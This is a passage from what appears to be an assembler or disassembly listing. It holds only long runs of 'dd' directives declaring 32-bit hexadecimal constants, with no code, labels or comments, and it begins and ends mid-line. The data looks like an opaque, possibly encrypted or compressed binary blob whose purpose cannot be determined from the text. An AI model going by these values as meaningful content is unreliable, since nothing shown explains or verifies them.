6700F5CCh, 0E670F09Dh, 0D8F69C17h, 0F9FC2F9Bh dd 5D01DE86h, 0AF5F37EEh, 92662215h, 0BCBA6A4Dh, 0F4233FD8h dd 0BEEF343h, 57EB987h, 64E65FD4h, 6BDD87BEh, 1210795Dh dd 0C80EB36Fh, 923BC6CAh, 0BCBD3655h, 6F0D70C5h, 0B2DF3D8Ch dd 8053260Ah, 6049D27Ah, 0C3FE9D5Eh, 32696EB4h, 45BA2D6Ch dd 0D93F6DFAh, 7C535B33h dd 719ECD5Fh, 0AD190A33h, 0F9D98372h, 911EE339h, 0AD74999Ah dd 88999C84h, 803CC04Fh, 9A050A29h, 71205065h, 5CBA470Ah dd 627FEA09h, 7E3CBC6Dh, 5ADDFC6Eh, 0F88F1D97h, 4764D1C2h dd 0C7417B74h, 81E23910h, 0F5D66A6Ah, 0C33A8240h, 902FE84Ch dd 0C91E4C51h, 85A4C911h, 80C9E4DFh, 0F3213125h, 1F2DFC8Dh dd 19996261h, 8644F7F7h, 76D5ACAh, 14C286D2h, 1DFB9D07h dd 0E8BF170Eh, 60AABE04h, 9696E38Ah, 0F5AE1DEh, 0D2AE5E5Fh dd 11D4EEFEh, 0B14DAC5Bh, 5E8EA23Fh, 0D3398158h, 0DE17A130h dd 0AC0E52A2h, 0E8DAE03Fh, 1710FFE5h, 693C7988h, 7A77A2CCh dd 4568D66Ah, 0C7558ED8h, 0A61B883Eh, 0B919D4E0h, 0D95652DCh dd 7FD61CF8h, 1A6B756h, 596040A2h, 62E0435Eh, 4E388B03h dd 0BCE88587h, 0C2FEAA0h, 8549A0FDh, 0D477EDA5h, 9FA6E3E7h dd 0C919F72Bh, 0E413E23Fh, 0E2B6D1F2h, 0A7E38506h, 1A40EF0h dd 92CC1B54h, 63C62C87h, 6A6CBB1Ch, 90928953h, 0E38653C7h dd 0E17F894Ch, 28CFD93h, 0FCEE9E33h, 0D11351C0h, 32765E3Eh dd 4E78DCF7h, 902C65ECh, 9A836867h, 47AA1C7Eh, 0C7D77A3Ah dd 0CB8533Bh, 56A0338Ch, 3927D234h, 8DF75F2Ch, 79D0F04Eh dd 5BBB9F10h, 4FE93CB0h, 232CDC1Dh, 0B9557849h, 521AF997h dd 0D973E102h, 925AF704h, 6B47756Fh, 410BB73Fh, 5D26B776h dd 0E94E70F6h, 91558019h, 5E5C251Ch, 20E35756h, 4EFCDA47h dd 30B0DBECh, 2D9453F3h, 0FA30932Ch, 29F29FD2h, 0B446883Eh dd 83B9AA7Ch, 76DE05F6h, 0A207C07Ch, 40DF9B32h, 79C80A95h dd 0B781851Fh, 0AAB9D8E9h, 20E9A376h, 0A75A6655h, 83D35F28h dd 14734F5Ah, 11885A03h, 0DC96E74Fh, 0AD746CD4h, 85C0C9B5h dd 41E1B0D3h, 12A27D9Ah, 5BFC1860h, 0DB069F7Fh, 7B5C3D6Bh dd 40A85532h, 0B6705F55h, 315FF579h, 835B7008h, 0DCE53AE1h dd 0B78235D6h, 0C95F09E3h, 6F430657h, 0E9F126A7h, 0C3C3FDECh dd 0B7A6188Fh, 0A217CA59h, 3BE9112Ah, 0B2A8E5BDh, 0BB082427h dd 3BB6E3E7h, 0B32FBEDFh, 6E5D7B96h, 0D9EF9CA7h, 18D27921h dd 48057242h, 836AB7C4h, 0E98FD24h, 0F6152F55h, 78A4D328h dd 627545BFh, 4B4F8B04h, 8E3ADF4Bh, 0EEBA0D28h, 27520BA0h dd 5596A693h, 149CECFBh, 9FB32B91h, 553CE4D2h, 0BEF0E80Ch dd 0D8A8997Bh, 2487B637h, 30218DE9h, 0C754CE2Ah, 0B0FA1110h dd 86779491h, 77654FA7h, 0F114757Dh, 7ABA7CF1h, 313CC841h dd 7441D01Bh, 5EDCD1C3h, 0EFC610BBh, 19666918h, 5AF77C56h dd 4F43D0C6h, 3DAC830h, 0CA9953F4h, 0C842B003h, 0DA0ABDEEh dd 63298899h, 5DFB1DA4h, 787E861Ch, 9EEEF676h, 52C66547h dd 0A771330Bh, 341371ECh, 0EBE88DB5h, 287568FFh, 0CEB6C055h dd 647C2A89h, 20858EC0h, 0D3A32EC6h, 0C784F7A8h, 4B9A7D9Ah dd 0CB85A955h, 0AB82E62h, 0EA4E68B0h, 5E8CA24h, 313727B3h dd 0A8DF2CC4h, 829A80B1h, 9A785078h, 0C41D249Dh, 9F75EA72h dd 4A74C32Bh, 0EF4DB775h, 75F1EA09h, 62424882h, 9BCAF693h dd 0F37353ABh, 18D73C23h, 0E5609A17h, 44A90C32h, 4992C2F3h dd 1266522Ah, 2F8DBBD9h, 6955CFA6h, 0ED9FF4ADh, 7B1A149h dd 81239A8Bh, 9757FE95h, 5434330Ch, 181494B2h, 287D7BEBh dd 21E899B2h, 464A9D52h, 25FA2BD8h, 0D246109Bh, 4EB9BC63h dd 59F2DC19h, 0D5D4CF8Bh, 855E4AEFh, 6EEC2508h, 0C87B78F6h dd 0BA58281Fh, 67EA1705h, 368C59E4h, 0C0278EE7h, 0C517CBA3h dd 0B6AA3A92h, 0B56CC65Ch, 3C71911Bh, 0B95A2CFEh, 0FEEB41h dd 1165102Dh, 9FC0BDEEh, 93D8ED7Fh, 0B427498Fh, 0DF570788h dd 0C4BD622Ch, 97E82CB2h, 0E54759B2h, 3884FA7Ah, 0D45DFE79h dd 0A3FE66C6h, 0CE4A273Ch, 0F5D5D58Dh, 2CCA0484h, 481BD8B8h dd 3BE7F3B2h, 22F90F13h, 0E7FC7041h, 366C1BCFh, 1D303C54h dd 8B5201Fh, 0D39FBFB4h, 0CF604A85h, 2887677Dh, 77A8B933h dd 24669AC5h, 0EEEB5418h, 0DF238B06h, 492E83CDh, 30E49EA2h dd 0E2E694BEh, 1040858Dh, 0A2F373D6h, 481FC061h, 4D53E6BDh dd 6E3C8051h, 4ADD8BE8h, 0DD7C9A72h, 0C38634D8h, 5DF4C941h dd 3AF572D5h, 300959EDh, 2BA6CBDFh, 98CFE014h, 0DC06BBF1h dd 8DED6F64h, 19AB601Eh, 0B18B91E4h, 0FD9BEDA4h, 77B78089h dd 1986820Ah, 1CC2D984h, 0E020F675h, 99B40A40h, 77B49573h dd 0FC951669h, 77DF802h, 28A507F4h, 1C3BE61Ch, 2C2DDD32h dd 0B4D84B7h, 0C021B29Bh, 37757C6Bh, 0F2398C7Ah, 7AEC5468h dd 80B41319h, 0CFB2AFA6h, 0D7E931C3h, 80CB5780h, 6E84272Ch dd 1B35D752h, 427E3FFAh, 2088C320h, 0AE35D1EAh, 78CE3B6Eh dd 0F7F450F5h, 0AF3D08C8h, 20C0CDE5h, 2562E5DCh, 70FC7FE3h dd 0A8CDC03Ah, 1AAC4DDEh, 64CAF395h, 0E6969F91h, 7C2D758Ch dd 1C21013Dh, 53E42396h, 417FB796h, 7672363h, 0BC683A3Eh dd 0E03F2B48h, 0B991BB84h, 1B97D62h, 52454AE0h, 4FD354CAh dd 7F7495BBh, 30EFCE5Fh, 39AED5C5h, 3FEFD077h, 0DBA31F0Dh dd 0D1F332BBh, 19A808CAh, 0D06ED314h, 8C531F5Fh, 10A119FEh dd 9C5D3CCFh, 5E599F18h, 888476FCh, 25DA570Dh, 43FB4964h dd 7AE2DD98h, 5828DD42h, 20CF9699h, 0B751FF41h, 0DB118ECAh dd 2C9BAEA9h, 0EAA97686h, 0F7F1D99Eh, 9EFFA1F2h, 65A97523h dd 0DC670EF5h, 0D323D52Bh, 205F4F78h, 9B5E0608h, 7DB7B61Bh dd 51760882h, 9C9AE70Dh, 0E241E7FCh, 0C376B85Fh, 1A70E953h dd 0AB305321h, 1092FE62h, 3FF6E69Ah, 43A1FDh, 0BA11D30Eh dd 5423EF78h, 8D5A53B7h, 0CF43EA60h, 0F125931Ch, 0E5CF19C0h dd 18C84AECh, 0CAEE3B37h, 48B48EE7h, 273A2037h, 7E7CC6DFh dd 0D4D2DBBCh, 0E5D9C513h, 74A14F92h, 0BC5D6446h, 1488ABE5h dd 2EEA0B63h, 45378F89h, 704ED4E8h, 9ADE81B7h, 0A0D7AF31h dd 5FAC3291h, 0E00E400Eh, 0A70B9463h, 0E8BF9122h, 0B57C37FDh dd 3653848Eh, 7D1845C0h, 6022EF3Ch, 0D2196A0Ch, 0D8C6D6CEh dd 28444116h, 0B0D5FE6Eh, 6FEDA81Ch, 9606F7C4h, 1F3F4991h dd 0F25BA295h, 2A92E280h, 16914145h, 0B020B550h, 4DC3AAEAh dd 3AC4D7C4h, 4DF752C4h, 0DF388B38h, 913B09Bh, 95458542h dd 0D82C5752h, 0FCA66B60h, 0E6A2B71Ah, 6617B271h, 0ED04990Eh dd 0E50993AAh, 6A2A60B0h, 91F49E54h, 0CFB4A5B8h, 0F3375C98h dd 0F9EF9327h, 0BDA107BAh, 836AC3D3h, 1E8CE6F0h, 53D69DA2h dd 0A526C916h, 145EB072h, 60B97625h, 1F17A241h, 0E3883AF5h dd 3B1E1584h, 429BE69h, 6CBBC807h, 5F17880Eh, 0C466704h dd 0FDDF6F0Bh, 73EE9C57h, 0DACCB434h, 0DF72F75h, 6F947A92h dd 291F0784h, 0A9AB57F5h, 7FE857C2h, 9A78CE1Ah, 80340000h dd 8F060D5Bh, 0DBB77C34h, 92AA05B4h, 10C6BEA3h, 0BC2DCA5Bh dd 6F353A85h, 0F00646E3h, 622B216Ch, 194C59CAh, 8F681C31h dd 0DCB8881Dh, 5604C3CDh, 0AD31A4C0h, 21AAF179h, 343DAE0Bh dd 98CA8F9Eh, 9FDAAF4Bh, 28F8320h, 0A9BC8074h, 3557B5B8h dd 77AE912Ch, 8E6FF5CCh, 0FD7EF0B1h, 0C87E1D74h, 7B7427BDh dd 0A84B56C4h, 1BCC0D69h, 0D912EB8Dh, 636964C1h, 0FA32345Ch dd 0F63119Ch, 0E8145973h, 0F9694722h, 0E966FADFh, 89782733h dd 0B762228Dh, 0B59F5D0Ah, 4C824197h, 0EBC535BCh, 0C5E1CA1Ch dd 1550E6A0h, 3CFD9FC3h, 433E1E83h, 0A0FEA2B8h, 695797E7h dd 21A04C67h, 0A1309580h, 646C45Fh, 0E4114847h, 165C6AF5h dd 0EAD2512h, 0A35CC908h dd 0BA990F50h, 9E26425Eh, 6840F2B2h, 19BD4D2Dh, 3A2BE6DCh dd 181C3611h, 0E1AA6411h, 20DCCFE0h, 844E45E0h, 0F15F4570h dd 842ACF54h, 637A71CEh, 8B69B1A4h, 0E0A82DBh, 0BA429C8Ch dd 0C522A869h, 13FE508Eh, 231ADB6h, 0A4A6FC0Dh, 174CFDB8h dd 0BBCE1C26h, 0A95FD04Dh, 26FB31FDh, 0CE3A14A8h, 26BFF827h dd 0ED774B4Bh, 0F3D6374Eh, 4EBCF44Ch, 145A4C75h, 67163560h dd 96197BB9h, 0C1AC3867h, 0F3335D32h, 69887E8Ah, 690C8E29h dd 24277A6Dh, 0B0B46C03h, 0B114B19Ah, 4DBF2E08h, 0F0DCD101h dd 743481C7h, 0C7FE70F8h, 91D25138h, 0C2A122C7h, 0D1BD777Ch dd 0BFEB2AEFh, 44877B26h, 69F1D1A0h, 218D58A2h, 0A310FDB3h dd 6B905665h, 61263E04h, 0ECD29A90h, 63FE1D9h, 0CBDA00DAh dd 0BE98F287h, 0ACC73A3Eh, 0A7E46D5Bh, 0F1F2F951h, 18AEB204h dd 8E00C80Ah, 4D565222h, 0C13D3006h, 3761993Fh, 0CC35C854h dd 271F632Ch, 0FB056FDDh, 6CCD6BDEh, 0FB420ABAh, 0B0BD5F9Eh dd 37B9754h, 618A591Ah, 0C169E283h, 66AF32CFh, 4CDE629Fh dd 26F97559h, 782B67h, 0E75401AAh, 0FF8BCC01h, 81B5337Eh dd 35F1F103h, 1FD5ADEBh, 867D4465h, 0A0657BE1h, 7F89CE9h dd 40339057h, 1B01D1E7h, 4747A2Bh, 7441FE7Ah, 6F59294Dh dd 1B0BB152h, 0E4588EAAh, 0D0A0ADE7h, 0A081586Ah, 0E326661Eh dd 39EB19Ch, 0D38D9367h, 3B402E15h, 9EAE4C97h, 0A82272AFh dd 0BC0B8A0Ch, 97796BA8h, 795DD04Ah, 694CC3B8h, 0A2FF0B8h dd 8370F37Ah, 0F15DA191h, 89E67D7Bh, 3C9B2EC9h, 82F4A406h dd 2D6C0C2h, 17432FAh, 0AC309B50h, 1CFFE8B0h, 2D5C82C4h dd 968E9993h, 0AF86D009h, 0D3CD60A7h, 0ED2A3AF9h, 0D02607D5h dd 2737BF1Ch, 0B71EDD40h, 0CE3D46F7h, 0A15DE7D9h, 0C02BC38Bh dd 0BEE0756h, 2CFD8BCh, 2FAC17F7h, 0BDBE44FDh, 14A192A9h dd 87063108h, 0D8C5AF24h, 99A1CADEh, 111CDDB0h, 93BB95EEh dd 3518F556h, 6A5DB563h, 77B88036h, 0A6B0A398h, 692ED1B7h dd 2F4CB31Ch, 686C49B2h, 0F20A981h, 0A2171B9Bh, 59A9080Dh dd 0CBBF9BE2h, 58E617D2h, 0D2E7A769h, 0C2C1C4E6h, 439AEE1Bh dd 0AA605179h, 5FDF2794h, 11607D5h, 0E283D8Ch, 6A0F766Fh dd 45E58AACh, 20312831h, 0F315AC70h, 0F1229F8Dh, 419392D2h dd 19CFA399h, 13B7A2DFh, 0E843E9E9h, 0D1F0AF58h, 0E4B7C62Ch dd 69F42268h, 0FB85CBF3h, 0F6F9F6B5h, 84EC4D51h, 465CE3C6h dd 863E6F82h, 7A835A52h, 0EB71CABCh, 0F0F6EE04h, 4D6FD6A2h dd 0A096CA30h, 0FB9E22DAh, 5646C503h, 0C30F58C4h, 0CDD11797h dd 48522601h, 4835814Ch, 7FD4B7BEh, 713C1CABh, 364222Ch dd 9EA0F71Fh, 8CDB8927h, 10BAC828h, 34C8E09Fh, 0DB3770F7h dd 2B4B7B54h, 7AFCCFC5h, 59DC54F6h, 0F1C2EB2Dh, 97E4717h dd 714C8B9Ch, 80DCCC26h, 0D2F9C92Ch, 0ED001A86h, 0BA761F4Bh dd 4B9CE63Bh, 9A95CD07h, 2A2D8818h, 6E8E5FEAh, 0BF6FB2F2h dd 7AC40645h, 0DF6AC1DAh, 89A36642h, 7854931Dh, 0EFB78117h dd 0BAB70BAEh, 0EB093889h, 187F81E6h, 0B636DB5Fh, 7390B723h dd 533B6471h, 8D4C220Fh, 7F28D671h, 38DF61E0h, 53A30B6h dd 53A375C1h, 880D83A5h, 0AF2EBFC1h, 0D9A97E31h, 5A241AABh dd 0CEA9DA4Dh, 0E23FECBBh, 4B860B9Ch, 36F81DDFh, 38C95BC3h dd 0B9CBA1DBh, 0ABD77FF6h, 68865DB6h, 0FD5E6050h, 0B8CA897Bh dd 0C981819Bh, 0A6979F76h, 0C1F8026Ah, 33EF967Bh, 0D2BD5FCEh dd 0DE902490h, 0CCB0497Ch, 2647E06Bh, 518EF745h, 0B1483A57h dd 993EF202h, 0ECFB1E4Fh, 5B9B92AEh, 2C23F7C7h, 0ABFC3EABh dd 0ACD04D53h, 5170A53h, 9E5BC616h, 9DF2EBA3h, 0D28DE7D2h dd 54C045E5h, 0C4EFBD56h, 0ECA922C2h, 43C84AAEh, 485C593h dd 0F3D6BD73h, 53CC9CC5h, 3698EF1Eh, 22EAF0E8h, 0DAFFA789h dd 45DD1CBBh, 7930627Dh, 0E498A0EAh, 871284BCh, 4FD17EB9h dd 76E78AE9h, 820AB24Fh, 882EE596h, 706CAE8h, 0B454FA65h dd 0B60DAE9Bh, 1D88A272h, 14E317EDh, 19F250B4h, 0EC76D463h dd 0FC3F41EAh, 0D13CAB13h, 4435278Ch, 78DC1ECh, 992D321Fh dd 4E741828h, 81E60BAEh, 0F5703D49h, 738923EAh, 1FABF729h dd 7F0E78BBh, 36A1FC3Fh, 54A9AF04h, 3FC03C80h, 1B673442h dd 3AC4A72Eh, 68DC5741h, 0D1372389h, 0E425D672h, 48592642h dd 6F03CA70h, 623EFADh, 0D06E3998h, 2BB9901h, 7208922Eh dd 0AF5C3A34h, 0D53ED6D8h, 56EBD917h, 0CB2D3C56h, 0EA398FDEh dd 0B6C6E82Dh, 0BD03AF11h, 0FE9967B5h, 0DC824FB9h, 0D8070227h dd 0F47BBB48h, 0C491B16Ch, 529BF650h, 6AF28042h, 42C76474h dd 62FC9268h, 0A4E8728h, 2DA865DCh, 18582EFEh, 50F83913h dd 0D1A91C33h, 3311EE96h, 0D8510BE7h, 605CCF5Fh, 24EB9DBEh dd 0FF65A892h, 6E7F9C11h, 516298EEh, 51F30AF8h, 96676CE5h dd 412D63F7h, 3C2E1794h, 0D8BE42AEh, 3D62B3BFh, 1482779Bh dd 0A84E651h, 978199D3h, 3DACA300h, 8DDFB6CDh, 7CCFDEB1h dd 0AA0E6826h, 8A3A8959h, 7735808h, 0E3A9D82Ah, 0AC88F993h dd 33A2FB0Eh, 0BC3544CFh, 5250D404h, 0D9EB058Fh, 9FD03AE6h dd 0FA88B4EDh, 0D196E1F0h, 1F03CD72h, 3F8AE2B0h, 8AC9F808h dd 3145F148h, 7F51C20Ch, 0F2C0FC4Ah, 0D7C03174h, 0B4AE1027h dd 0BC4AF00Ch, 56857FAEh, 5D735F8Ah, 0AC31D97Eh, 18417557h dd 2D8A8340h, 0C3740B12h, 9493C693h, 0B3207937h, 4B476171h dd 0E050456Eh, 0B0709557h, 0CB9AFEECh, 0EE79846Eh, 0A39EC5A8h dd 697C4C62h, 5F853A4Dh, 0F6121480h, 95163D3Eh, 0B75190E7h dd 226C7F77h, 4379273Fh, 783D3622h, 2B8BDB49h, 668155FBh dd 1FCD3096h, 0D3F51A97h, 3D0BF343h, 8560D8D1h, 568ACEC5h dd 62019820h, 0BDECB071h, 5E5D5F70h, 1033CD5Bh, 28858377h dd 0EE68779Fh, 73202FC8h, 0EDF1E999h, 0CF3F3849h, 0EBC5C4F8h dd 4EE19F53h, 0C47DDF3Bh, 2BE91B80h, 88E216D9h, 0E791AA53h dd 41F2A4CFh, 0A609C084h, 7B781DB6h, 90DDAC78h, 0DAFCCA7Ch dd 0D97197E6h, 1EF05337h, 0CA35F322h, 23849B22h, 60D7C4B0h dd 0D203BE1Bh, 0B607748Ah, 596E98B7h, 0A7A16BF6h, 9776C972h dd 16406129h, 62F0C3ADh, 47E94584h, 4D8F9Ah, 7817DFB3h dd 18741503h, 0B671F4E6h, 0CBE287EAh, 0C0F77056h, 4C47D8F1h dd 0CD9DE2ADh, 47CF2E1Ch, 39E9932Ah, 3818D1A9h, 45D7A248h dd 67E1338Ch, 11334019h, 701DBFC1h, 639C9C1Dh, 2EBD6523h dd 0EAC230EFh, 83853469h, 0C38F0E6Ah, 4FFA85B5h, 5A82D03Fh dd 0AF3BA2F9h, 0EC3CC3C4h, 0D20CC626h, 99B77B54h, 996395F9h dd 818CB0E5h, 0BDE7CA8Dh, 6038996Bh, 99AE5748h, 4D55C2Fh dd 0EF7A6D96h, 7B5645AAh, 0DA8F773Ah, 38637FC4h, 7F5EB273h dd 0B506D0D5h, 26214951h, 0A6D9F2B3h, 6C0751D2h, 0ACAFA9D9h dd 6459AC47h, 8C388770h, 0A046CF51h, 37A814CCh, 4BE90518h dd 0E4AEB9EFh, 49F2E6E1h, 5781A3h, 0C24740BBh, 0F9FAC515h dd 9D25B1EBh, 98417DC8h, 0F3BEAC71h, 79C93764h, 0FCC327F6h dd 0BF615706h, 1E861212h, 5E0BFF02h, 0FC9B41DAh, 73A31F96h dd 0F335437Ah, 1DB0C9DCh, 783E6428h, 548D384Fh, 0D359A75Dh dd 0E91A3893h, 0B1B0FBE5h, 0FED509A5h, 4F2BFF1Ch, 498AE56Dh dd 0E7A6D34Eh, 0D234B157h, 5DE70F3Ah, 2F58782Fh, 60FA64B0h dd 6CBB77CBh, 0EA624D05h, 64B414DCh, 0E500CD7Ch, 0F9ED5A50h dd 5789C339h, 0F9F1AA8Eh dd 6E750693h, 782E641Fh, 405633DBh, 0FC75AE5Fh, 8DA2C93Ch dd 58EC88C9h, 194866A1h, 0A20DF0F9h, 0C7981E5Dh, 0F7DA562h dd 0E0296116h, 424B6F0Ch, 6A86181Ch, 0A7605D03h, 356988B6h dd 1E69D360h, 3FF28F15h, 8EE9C6CFh, 0E0754FEEh, 626C35FCh dd 3F5B2229h, 5BE3FA49h, 0C790F07Ah, 0ADA36902h, 4C0CB9A7h dd 34C09017h, 2DD87575h, 7E1D4C19h, 3C6CBB38h, 6A53902Ah dd 0CFE95A55h, 0DC884B5Ah, 5FE42104h, 9AD63536h, 469F1C03h dd 6681410Dh, 0A45C9ADDh, 0A6BC2FB4h, 0A2826D1h, 0E146BF6Eh dd 0A45D4128h, 4B3FF8F4h, 6F2788ECh, 1999A521h, 0DACF7E67h dd 983E5FF2h, 0EC430AB7h, 6AB5BDB6h, 50E2717Dh, 4DBF2610h dd 5816033Dh, 90DDEC01h, 0E344E579h, 0A996408Ch, 795BB55Fh dd 0B94ECE89h, 19835886h, 0FFFBCD85h, 1CA4BCD0h, 1AE80CA0h dd 7988BC13h, 9F2DDD63h, 0DE76D17h, 775A2B98h, 7AA01BA9h dd 27517D25h, 505C532Ah, 58817A71h, 6C883574h, 9C238077h dd 7BC8A1BCh, 0E9AFBA7Bh, 0A35D9DACh, 5EF6DDF2h, 68A2A462h dd 7249AE34h, 972C3DFCh, 54E88EFFh, 0A8E8BEE3h, 4CD73C07h dd 0AF295B09h, 0CD6DABA4h, 61FFADBBh, 4A60CE74h, 12E6A5B2h dd 14FEE2F0h, 0D567061h, 249B5E12h, 0F4AFB445h, 0AC58928Dh dd 0E0745422h, 36F9193h, 3FD9C1A5h, 34293A9h, 0B6CF45BAh dd 1DA5A1F9h, 0C7B874FDh, 596C38E3h, 0F87B458Ah, 59EC76CDh dd 54965F24h, 0B1823B7Ch, 0EFA1D690h, 0CA4BCF66h, 90D46B6Ah dd 0B2BC1E26h, 0E80C0627h, 65D15B32h, 0FF47FBF1h, 26112793h dd 0F7C892F6h, 0AB941E55h, 0C05636ABh, 5D09C77h, 3808903Bh dd 56C589C2h, 715EEA45h, 0B23E41B1h, 4CB4CB4Ah, 866D8A52h dd 5BFED2Bh, 8E79D20Fh, 12A2876Dh, 0A48F2D7Ch, 95ABAA4Ch dd 0D11FE2A4h, 67CA3C08h, 5688C4B6h, 0D736C45Dh, 0AA0515EFh dd 54DA9E22h, 86D24AC9h, 0A14610F7h, 6E8F05E3h, 0AB3E5Dh dd 0DFDEF8C4h, 99644B49h, 383A337Ah, 0FD89A487h, 0B82E060Ah dd 849CF5F5h, 4FE1BD0Eh, 0DC623126h, 0C427B109h, 0A97ACDE3h dd 96218D67h, 67C7E977h, 4A01BB71h, 25983CD1h, 0DE3A1063h dd 0EE961CBBh, 33EF41D3h, 0DCD4A82Fh, 61972378h, 898C67B7h dd 0AC0A1C6Dh, 0D845A329h, 9066CBE4h, 0C8E95498h, 0FCBF5609h dd 662955B5h, 3402946Ch, 0A4C82D49h, 42BBDCE7h, 9326947Ah dd 0B8D87F7h, 0C568D741h, 1DCDE15Ah, 54E7BA05h, 0A314ACBCh dd 0EA151C8Eh, 0E5AC11B9h, 0C8F8907h, 0FFFACA33h, 692C25A5h dd 0EC41B8D9h, 0A72964E9h, 44AD20D6h, 63063825h, 1B71E294h dd 0B031C96Ah, 1D27282h, 0CCC9B08Ch, 45EA128h, 0C139C1DAh dd 0C0CEB888h, 2B101D69h, 5245104Eh, 4767A95Fh, 0E1192A29h dd 0D87421D7h, 882F1660h, 1D03F4BEh, 0D2D29D2Eh, 0EB122664h dd 0C418544Ah, 0BE5CA020h, 153658DCh, 0C65A3D34h, 0A881026Ch dd 7BFAFE25h, 0B94C613Ch, 0E989D819h, 6AB8CAEEh, 0EA78B0E0h dd 31768455h, 0F3D653DDh, 0F7CC565Ch, 364A1400h, 0EFAFD583h dd 537C2ED4h, 5FDC9592h, 0A310B0C4h, 0DA44822Eh, 6CF8D57Fh dd 2E4EE615h, 0BC38BF19h, 1B8DA5BEh, 0AB44C954h, 0E8157A41h dd 95AB7A2Dh, 5E635554h, 65C803AAh, 55992B9h, 0CDB341E1h dd 0E91A1F04h, 8BAADB62h, 6B6D6D84h, 43B131DCh, 0E3613574h dd 559A324Fh, 3D76984Ch, 3EF92579h, 34F8DD7Bh, 6D43B6Ch dd 8760E13Bh, 0C4EF7BC3h, 0D0579404h, 0CFF12FE6h, 0AED641E5h dd 42CB77A9h, 24BF265Bh, 5AD0572Ah, 9A66C646h, 4BE4A627h dd 9636CA76h, 0BCBF0928h, 0F0F5B45Eh, 456D6A59h, 5469D5FAh dd 79368D5Eh, 0C5984578h, 4DA3B533h, 65D0E11Ah, 0BE696C19h dd 97FA02B3h, 16333B9Ch, 355CE01Dh, 40C0F553h, 0D9F43A0h dd 81527D0Fh, 0E1C7C84h, 8F89733h, 2A25CFEDh, 4D94DDDEh dd 0B4F630FAh, 2EF312CBh, 28EEB998h, 1F500CB5h, 0F320A41Eh dd 24239BC1h, 99CF3935h, 0A1231671h, 0DE157426h, 9822A784h dd 4149BAE2h, 297D28C5h, 617E00C2h, 90F42E45h, 0D7893EBDh dd 0E92C3B71h, 0DFDB211Fh, 0DCB887C0h, 70C3AF07h, 1936AB2Fh dd 277B9737h, 1595642h, 5BD0BBBBh, 57C76809h, 9B4A509Ch dd 0D80C1602h, 7EB02073h, 3DE612Dh, 545FE300h, 0E7E6D0A9h dd 72F1F360h, 4326882Bh, 6B57246Dh, 0B848DF84h, 0EA81FED0h dd 4C3D6BEAh, 5F9807B1h, 47486C3Fh, 2640AF53h, 5E1A039Eh dd 253063E4h, 0A9660DAh, 0ADF14904h, 6644D649h, 4E2199E6h dd 40C6ED17h, 1213E13h, 0BD620A0Eh, 4CD4F107h, 8AF919C9h dd 0CE492CE5h, 1C022904h, 8CB909E7h, 0C5462A19h, 710E209Fh dd 34669A60h, 8B375361h, 0AEA15C96h, 0B572B2A9h, 95ADDF96h dd 0F1509E89h, 0BEAA3F5Dh, 0C5C226A9h, 7117522Bh, 0CA4CA190h dd 0AC984231h, 1744F025h, 0D0C6C0F1h, 83E1A0B8h, 0AA4522DEh dd 0F896C7DEh, 212E414h, 16B0345Eh, 64CA00ACh, 61D12D99h dd 0EAF8F79Ah, 42A22381h, 0E7E86736h, 98FE2E37h, 0E53209B9h dd 43A2BFFAh, 388C6CE7h, 49D8A32Eh, 35F431Dh, 0EB995CB2h dd 62AA8716h, 4553C9Fh, 6468025h, 0BA376826h, 0DC1BC1ECh dd 685F6540h, 8871F79Ah, 0C7EF8AAAh, 52ACF8D5h, 4D428437h dd 4E7B030h, 0AE542A3Ah, 7ACB053Ah, 9F267A87h, 4EFB464h dd 8E203F5Ch, 0ECFBD743h, 2E27C093h, 15AF6110h, 0E409F6A0h dd 67BA8AEFh, 6748370Bh, 98956BB2h, 8DB9DDFAh, 0AEED66A5h dd 6DDD567Fh, 51D713DFh, 3AC7BB94h, 0E2732543h, 9F9F60B3h dd 0BF103BB0h, 4E766C57h, 148EC674h, 9C8921CEh, 0AB03BF44h dd 655535ADh, 0CD2A7C78h, 2009A28Ch, 7221711Eh, 7917C7BFh dd 2F95CCFEh, 22A078CDh, 97748D8Ch, 44A851B5h, 0B1B77E5Eh dd 0D811B9D4h, 6CCA242Ah, 69F6A8E1h, 15303588h, 78F4CE7Fh dd 7ACB2C62h, 0FDF70D39h, 3187A130h, 0EA5C4405h, 0A6B1B005h dd 0B5BB9F4Eh, 8A240A2Ch, 0FD86452h, 163843Ah, 10D2CF3h dd 5FCA4C71h, 0C5D3896Ch, 7DD9030Dh, 728F9F13h, 0DAF1FFDBh dd 1F4D5AA9h, 0EF9AE068h, 26805ED2h, 8466557Bh, 0D6DEC770h dd 0DE0E44E3h, 0FC32B319h, 0EBD4E397h, 0E1C032CDh, 0D93E2DB4h dd 0F158C561h, 0F1EF047Ch, 2E2074Eh, 7275720Eh, 9FACD0Fh dd 598DABCAh, 926BFB04h, 0E0B8D9D9h, 0FA61C5DCh, 0D100EAE7h dd 233833DFh, 0FAB9BE24h, 6E7BAAC3h, 0FCC726ECh, 7772AFDEh dd 1A4435Bh, 0EA0BE890h, 0E428F3A1h, 939E5D0Ch, 64871130h dd 4321332h, 44E1C11Ch, 0C07A1076h, 0FC8A98FFh, 4EE04F7Bh dd 0DE3E311Eh, 0B5A03994h, 0CBF266C3h, 0E81E64E9h, 0E346F28Fh dd 0C674429Fh, 3F961031h, 0BCC522DAh, 0A6AE43F9h, 64536EE1h dd 0E738D9D7h, 7AE06F8Ah, 848F8BBAh, 6169922Ah, 894C9629h dd 0B0C11D3Fh, 52040B83h, 8412B81Ah, 7308097h, 83B3345Eh dd 1F92F587h, 11EDFA1Dh, 0B3F06F50h, 0CE57D0Ah, 66E7CFFFh dd 0F38765B0h, 6F6D8A27h, 5E8E2F2Eh, 64B261E8h, 1CC0CB0h dd 0C9F3F554h, 267A15F5h, 0F5E35673h, 9D413E84h, 1C78FF59h dd 0FDACC846h, 0EB96AB98h, 0BAC4D65h, 4F47AA5Bh, 0BA307EBFh dd 57CD92AAh, 1A6781F7h, 0A01270BCh, 0B9E2B879h, 0B9C47FC8h dd 6971D83h, 69F6FA03h, 818D2BE3h, 7D228F5Bh, 0C80B7423h dd 0B440C082h, 0A0EFC523h, 258B8CA8h, 0A8495047h, 0BB28C6A8h dd 521D7A5Bh, 3D921DEBh, 9A3566ECh, 0DE9D7FF2h, 5672F15h dd 322B230Dh, 18718A0Bh dd 21DBBBE7h, 0DC7A513h, 1EBC567Dh, 0EE034E74h, 5B479B45h dd 4BAE1DBh, 0C66D3E5Ch, 8C54D26Ah, 0D4F8473h, 0A8A6A4B1h dd 1CA4270Eh, 0F0979D26h, 0A1AFBA96h, 0BCD4C340h, 0B03B2D43h dd 2BC68D4Ah, 2A4698A7h, 2542DB9Fh, 944FED4h, 70FB6558h dd 7E9FECC9h, 563685CCh, 